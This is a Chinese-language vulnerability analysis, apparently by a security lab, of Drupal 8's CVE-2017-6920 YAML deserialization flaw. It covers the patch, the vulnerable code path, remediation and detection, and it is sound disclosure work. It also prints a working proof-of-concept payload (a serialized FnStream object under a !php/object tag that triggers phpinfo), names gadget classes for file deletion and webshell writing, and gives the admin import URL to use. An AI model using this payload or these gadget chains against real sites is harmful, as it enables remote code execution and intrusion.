作者: 啟明星辰ADLab
0x01 漏洞描述
2017年6月21日,Drupal官方發布了一個編號為CVE-2017- 6920 的漏洞,影響為Critical。這是Drupal Core的YAML解析器處理不當所導致的一個遠程代碼執行漏洞,影響8.x的Drupal Core。
0x02 漏洞分析
通過diff 8.3.3與8.3.4的文件可以發現漏洞的觸發點,如下圖:

可以看到,8.3.4 decode函數的開始處增加了如下的代碼:
static $init;
if (!isset($init))
{ // We never want to unserialize !php/object.
ini_set('yaml.decode_php', 0);
$init = TRUE;
}
漏洞所在函數decode的觸發點代碼如下:
$data = yaml_parse($raw, 0, $ndocs, [
YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks', ]);
decode函數的參數$raw被直接帶入了yamlparse函數中,官方文檔對于yamlparse函數的描述如下:
yamlparse
(PECL yaml >= 0.4.0) yaml_parse — Parse a YAML stream
Description
mixed yaml_parse ( string $input [, int $pos = 0 [, int &$ndocs [, array $callbacks = null ]]] ) Convert all or part of a YAML document stream to a PHP variable.
Parameters
input The string to parse as a YAML document stream.
pos Document to extract from stream (-1 for all documents, 0 for first document, ...).
ndocs If ndocs is provided, then it is filled with the number of documents found in stream.
callbacks Content handlers for YAML nodes. Associative array of YAML tag => callable mappings. See parse callbacks for more details.
Return Values
Returns the value encoded in input in appropriate PHP type or FALSE on failure. If pos is -1 an array will be returned with one entry for each document found in the stream.
第一個參數是需要parse成yaml的文檔流。從上文來看,只有yaml_parse的第一個參數是外部可控的。官方對這個函數有一個特別的說明,也就是該漏洞的觸發原理:
Notes
Warning Processing untrusted user input with yamlparse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decodephp ini setting.
即可以通過!php/object來聲明一個節點,然后用這個!php/object聲明的節點內容會以unserialize的方式進行處理;如果要禁止這樣做,就通過設置yaml.decode_php來處理,這就是官方補丁在decode函數前面加的那幾行代碼。因此,這個遠程代碼執行漏洞的罪魁禍首就是yaml_parse函數可能會用反序列化的形式來處理輸入的字符串,從而導致通過反序列化類的方式來操作一些危險類,最終實現代碼執行。
顯然,控制decode函數的參數即可觸發該漏洞。先定位decode函數的調用位置,在/core/lib/Drupal/Component/Serialization/Yaml.php中第33行發現:
public static function decode($raw) {
$serializer = static::getSerializer();
return $serializer::decode($raw);
}
該函數調用了getSerializer函數,跟蹤該函數在/core/lib/Drupal/Component/ Serialization/Yaml.php中第48行發現:
protected static function getSerializer() {
if (!isset(static::$serializer)) {
// Use the PECL YAML extension if it is available. It has better
// performance for file reads and is YAML compliant.
if (extension_loaded('yaml')) {
static::$serializer = YamlPecl::class;
}
else {
// Otherwise, fallback to the Symfony implementation.
static::$serializer = YamlSymfony::class;
}
}
return static::$serializer;
}
如果存在yaml擴展,$serializer就使用YamlPecl類,然后調用YamlPecl這個類中的decode函數;如果不存在yaml擴展,就用YamlSymfony類中的decode函數。顯然,一定要迫使代碼利用YamlPecl類中的decode函數,這需要引入yaml擴展,Linux平臺的步驟如下:
(1)編譯yaml
在http://pecl.php.net/package/yaml下載tgz源碼包,然后執行tar -zxvf yaml-1.3.0.tgz cd yaml-1.3.0 phpize ./configure make make install,執行完返回一個文件夾名字,這就是生成的擴展所在目錄。
(2)引用擴展
修改php.ini中的extension_dir為該擴展所在目錄,然后加上 extension=yaml.so 就可以了。
windows平臺步驟更簡單,在http://pecl.php.net/package/yaml中下載對應的dll文件,然后將php_yaml.dll放入php擴展文件夾下,然后修改php.ini,將extensiondir為phpyaml.dll所存放的目錄,然后加上 extension=php_yaml.dll。
最后重啟apache,看到phpinfo中有yaml擴展,就說明安裝成功,如圖:

現在yaml擴展已經準備好,最后定位外部可控的輸入點。上文中YamlPecl::decode是在Yaml::decode函數中調用的,繼續回溯全文調用Yaml::decode函數的地方,發現外部可控的地方只有一處,
在/core/modules/config/src/Form/ConfigSingleImportForm.php中第280行:
public function validateForm(array &$form, FormStateInterface $form_state) { // The confirmation step needs no additional validation. if ($this->data) { return; }
try {
// Decode the submitted import.
$data = Yaml::decode($form_state->getValue('import'));
}
catch (InvalidDataTypeException $e) {
$form_state->setErrorByName('import', $this->t('The import failed with the following message: %message', ['%message' => $e->getMessage()]));
}
這里對外部輸入的import值進行Ymal::decode操作,因此這里就是漏洞的數據觸發點。
要利用該漏洞進行遠程代碼執行,需要一個可以利用的類。Drupal使用命名空間的方式來管理類,可以全局實例化一個類,也可以反序列化一個類;該漏洞利用了反序列,因此需要找一個反序列類。通過_destruct以及_wakeup來定位類,全局搜索可以找到幾個可利用的類。
(1)/vendor/symfony/process/Pipes/WindowsPipes.php中的89行:
public function __destruct()
{
$this->close(); $this->removeFiles();
}
private function removeFiles()
{
foreach ($this->files as $filename)
{ if (file_exists($filename)) { @unlink($filename); } }
$this->files = array();
}
通過反序列化這個類可以造成一個任意文件刪除。
(2)/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php中第37行:
public function __destruct() { $this->save($this->filename); }
/**
Saves the cookies to a file. *
@param string $filename File to save
@throws \RuntimeException if the file cannot be found or created */
public function save($filename) {
$json = [];
foreach ($this as $cookie) { /* @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\jsonencode($json);
if (false === fileput_contents($filename, $jsonStr))
{ throw new \RuntimeException("Unable to save file {$filename}"); }
}
通過反序列化這個類可以造成寫入webshell。
(3)/vendor/guzzlehttp/psr7/src/FnStream.php中第48行:
public function __destruct() {
if (isset($this->_fn_close)) { call_user_func($this->_fn_close); }
}
通過反序列化這個類可以造成任意無參數函數執行。
0x03 漏洞驗證
啟明星辰 ADLab 通過對本漏洞的深度分析,構造了任意無參數函數的POC并測試驗證成功,具體驗證情況如下:
第一步:序列化一個GuzzleHttp\Psr7\FnStream類, 因為序列化后的字符串可能帶有不可顯示字符,所以采用把結果寫入到文件的方式,序列化后的字符串如圖:

第二步:給該序列化字符串加上yaml的!php/object tag(注意一定要轉義),最后得到的字符串如下:
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
第三步:登錄一個管理員賬號,訪問如下url: http://localhost/drupal833/admin/config/development/configuration/single/import,然后我們進行如圖所示的操作:

然后點擊import按鈕,就會執行phpinfo函數。

0x04 漏洞修復
最新發布的Drupal 8.3.4 已經修復了該漏洞,針對低于8.3.4的版本也可以通過升級Drupal文件/core/lib/Drupal/Component/Serialization/YamlPecl.php中的decode函數進行防御(添加如下紅色代碼即可):
public static function decode($raw) {
static $init;
if (!isset($init)) {
// We never want to unserialize !php/object.
ini_set('yaml.decode_php', 0);
$init = TRUE;
}
// yaml_parse() will error with an empty value.
if (!trim($raw)) {
return NULL;
}
......
}
0x05 漏洞檢測
針對該漏洞,可采用兩種方法進行檢測:
方法一:登陸Drupal管理后臺,查看內核版本是8.x,且版本號低于8.3.4,則存在該漏洞;否則,不存在該漏洞;
方法二:在Drupal根目錄下找到文件/core/lib/Drupal/Component/Serialization/ YamlPecl.php,定位到函數public static function decode($raw),如果該函數代碼不包含" ini_set('yaml.decode_php', 0);"調用,則存在該漏洞;否則,不存在該漏洞。
相關鏈接: https://www.drupal.org/SA-CORE-2017-003
啟明星辰積極防御實驗室(ADLab)
ADLab成立于1999年,是中國安全行業最早成立的攻防技術研究實驗室之一,微軟MAPP計劃核心成員。截止目前,ADLab通過CVE發布Windows、Linux、Unix等操作系統安全或軟件漏洞近300個,持續保持亞洲領先并確立了其在國際網絡安全領域的核心地位。實驗室研究方向涵蓋操作系統與應用系統安全研究、移動智能終端安全研究、物聯網智能設備安全研究、Web安全研究、工控系統安全研究、云安全研究。研究成果應用于產品核心技術研究、國家重點科技項目攻關、專業安全服務等。

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/334/